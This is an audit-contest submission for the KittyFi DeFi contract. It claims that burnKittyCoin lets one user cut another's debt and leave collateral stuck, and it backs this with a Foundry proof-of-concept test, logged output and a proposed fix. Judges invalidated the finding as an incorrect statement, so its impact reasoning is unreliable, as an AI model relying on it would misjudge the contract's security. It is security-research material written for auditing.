First Flight #21: KittyFi

First Flight #21
Beginner FriendlyDeFiFoundry
100 EXP
View results
Submission Details
Severity: medium
Invalid

One User's meowllateral stuck in the kittypool while others may have more kittyCoins than pool's limitation when user call burnKittyCoin take others's address

Summary

if one user call burnKittyCoin, input another's address. Another can get more kittyCoins which under the COLLATERAL_PERCENT, and the caller's meowllateral will stuck in the kittypool forever.

Vulnerability Details

1: Asume two users deposited meowllateral, and mint kittyCoins.

2: User1 input user2's address as _onBehalfOf. which leads user2's debt record decreased and user1's kittycoin's balance decreased.

3: For now, user1 can mint more kittyCoins because his debt decreased.

user2 can't withdraw his meowllateral, because no/less kittyCoins(blew poc show all kittyCoins burned), So he can't burn kittyCoin again, and then user2 can't decreased the debt. so can't withdraw his meowllateral.

/**
* @notice Burns the KittyCoin for the user
* @param _onBehalfOf address of the user for which debt is reduced
* @param _ameownt amount of KittyCoin to burn
*/
function burnKittyCoin(address _onBehalfOf, uint256 _ameownt) external {
kittyCoinMeownted[_onBehalfOf] -= _ameownt;
i_kittyCoin.burn(msg.sender, _ameownt);
}

POC

// user1 have more kittyCoin(EUR)
// user2 stuck money.
function test_poc_MaliciousBurningOthersKittyCoin() public {
address user1 = makeAddr("user1");
address user2 = makeAddr("user2");
AMOUNT = 1e18;
deal(weth, user1, AMOUNT);
deal(weth, user2, AMOUNT);
uint256 toDeposit = 0.1 ether;
// user1 depawsitMeowllateral 0.1 ether, and mint almostMaxKittyCoins
vm.startPrank(user1);
IERC20(weth).approve(address(wethVault), toDeposit);
kittyPool.depawsitMeowllateral(weth, toDeposit);
uint256 amountToMint = getAlmostMaxKittyToken(user1);
kittyPool.meowintKittyCoin(amountToMint);
vm.stopPrank();
// user2 depawsitMeowllateral 0.1 ether, and mint same kittyCoins as user1
vm.startPrank(user2);
IERC20(weth).approve(address(wethVault), toDeposit);
kittyPool.depawsitMeowllateral(weth, toDeposit);
amountToMint = getAlmostMaxKittyToken(user2);
kittyPool.meowintKittyCoin(amountToMint);
vm.stopPrank();
// show user1 and user2's VaultMeowllateralInEuros, KittyCoin balance
console.log("user1........................start");
uint256 user1VaultMeowllateralInEuros = wethVault
.getUserVaultMeowllateralInEuros(user1);
console.log(
"collllaterl Vaule in EUR",
user1VaultMeowllateralInEuros / 1e18
);
showKittyBalance(user1);
console.log("user1........................end");
console.log("user2........................start");
uint256 user2VaultMeowllateralInEuros = wethVault
.getUserVaultMeowllateralInEuros(user2);
console.log(
"collllaterl Vaule in EUR",
user2VaultMeowllateralInEuros / 1e18
);
showKittyBalance(user2);
console.log("user2........................end");
// Malicious operations: user2 burns user1's kittyCoin instead of her own kittyCoins
vm.prank(user2);
kittyPool.burnKittyCoin(user1, amountToMint);
vm.prank(user1); // Now, user1's debt(kittyCoin) is 0, but still have kittyCoin. user1 can contiune mint kittyCoins he still has meowllateral in kittyPool.
kittyPool.meowintKittyCoin(amountToMint);
vm.startPrank(user2);
// user2 can't withdraw his collateral, because he has no kittyCoin, So he can't burn kittyCoin again and then he can't can't decrease his debt in the kittyPool,can't withdraw his collateral.
// Below funcitons, for user2, are not allowed to call.
// kittyPool.burnKittyCoin(user2, amountToMint);
// kittyPool.whiskdrawMeowllateral(weth, toDeposit);
vm.stopPrank();
console.log("After Malicious operations");
// show user1 and user2's VaultMeowllateralInEuros, KittyCoin balance
console.log("user1........................start");
user1VaultMeowllateralInEuros = wethVault
.getUserVaultMeowllateralInEuros(user1);
console.log(
"collllaterl Vaule in EUR",
user1VaultMeowllateralInEuros / 1e18
);
showKittyBalance(user1);
uint256 user1lDebtForKittyCoins = kittyCoin.balanceOf(user1);
console.log(
"user1 collateral_percent, under the 169%",
(user1VaultMeowllateralInEuros * 100) / user1lDebtForKittyCoins
);
console.log("user1........................end");
console.log("user2........................start");
user2VaultMeowllateralInEuros = wethVault
.getUserVaultMeowllateralInEuros(user2);
console.log(
"collllaterl Vaule in EUR",
user2VaultMeowllateralInEuros / 1e18
);
showKittyBalance(user2);
console.log("user2........................end");
}
function getAlmostMaxKittyToken(
address user
) internal view returns (uint256) {
return
(wethVault.getUserVaultMeowllateralInEuros(user) * 100) /
169 -
1e18;
}
function showKittyBalance(address user) internal {
console.log(
"KittyCoin balance recorded in kittyPool",
kittyPool.getKittyCoinMeownted(user) / 1e18
);
console.log("KittyCoin balance", kittyCoin.balanceOf(user) / 1e18);
}

Impact

Some users have more kittyCoin(EUR) that under the collateral_percent(169%), others's meowllateral stuck in the contract forever.

Above poc's result

user1........................start
collllaterl Vaule in EUR 247
KittyCoin balance recorded in kittyPool 145
KittyCoin balance 145
user1........................end


user2........................start
collllaterl Vaule in EUR 247
KittyCoin balance recorded in kittyPool 145
KittyCoin balance 145
user2........................end


After Malicious operations
user1........................start
collllaterl Vaule in EUR 247
KittyCoin balance recorded in kittyPool 145
KittyCoin balance 290
user1 collateral_percent 85 Under collateral_percent, skip the pool's limitation
user1........................end


user2........................start
collllaterl Vaule in EUR 247
KittyCoin balance recorded in kittyPool 145
KittyCoin balance 0 No kittycoin, can't call burnKittyCoin. then meowllateral stuck forever.
user2........................end

Tools Used

Mannual

Recommendations

Keep consistant when user call burnKittyCoin: user call only burn his kittyCoins.

error KittyPool__UserNoEnoughKittyCoins();
/**
* @notice Burns the KittyCoin for the user
* @param _onBehalfOf address of the user for which debt is reduced
* @param _ameownt amount of KittyCoin to burn
*/
function burnKittyCoin(uint256 _ameownt) external {
require(
kittyCoinMeownted[msg.sender] > 0,
KittyPool__UserNoEnoughKittyCoins()
);
kittyCoinMeownted[msg.sender] -= _ameownt;
i_kittyCoin.burn(msg.sender, _ameownt);
}
Updates

Lead Judging Commences

shikhar229169 Lead Judge 11 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Appeal created

bytesflow007 Submitter
11 months ago
shikhar229169 Lead Judge
11 months ago
bytesflow007 Submitter
11 months ago
shikhar229169 Lead Judge 11 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.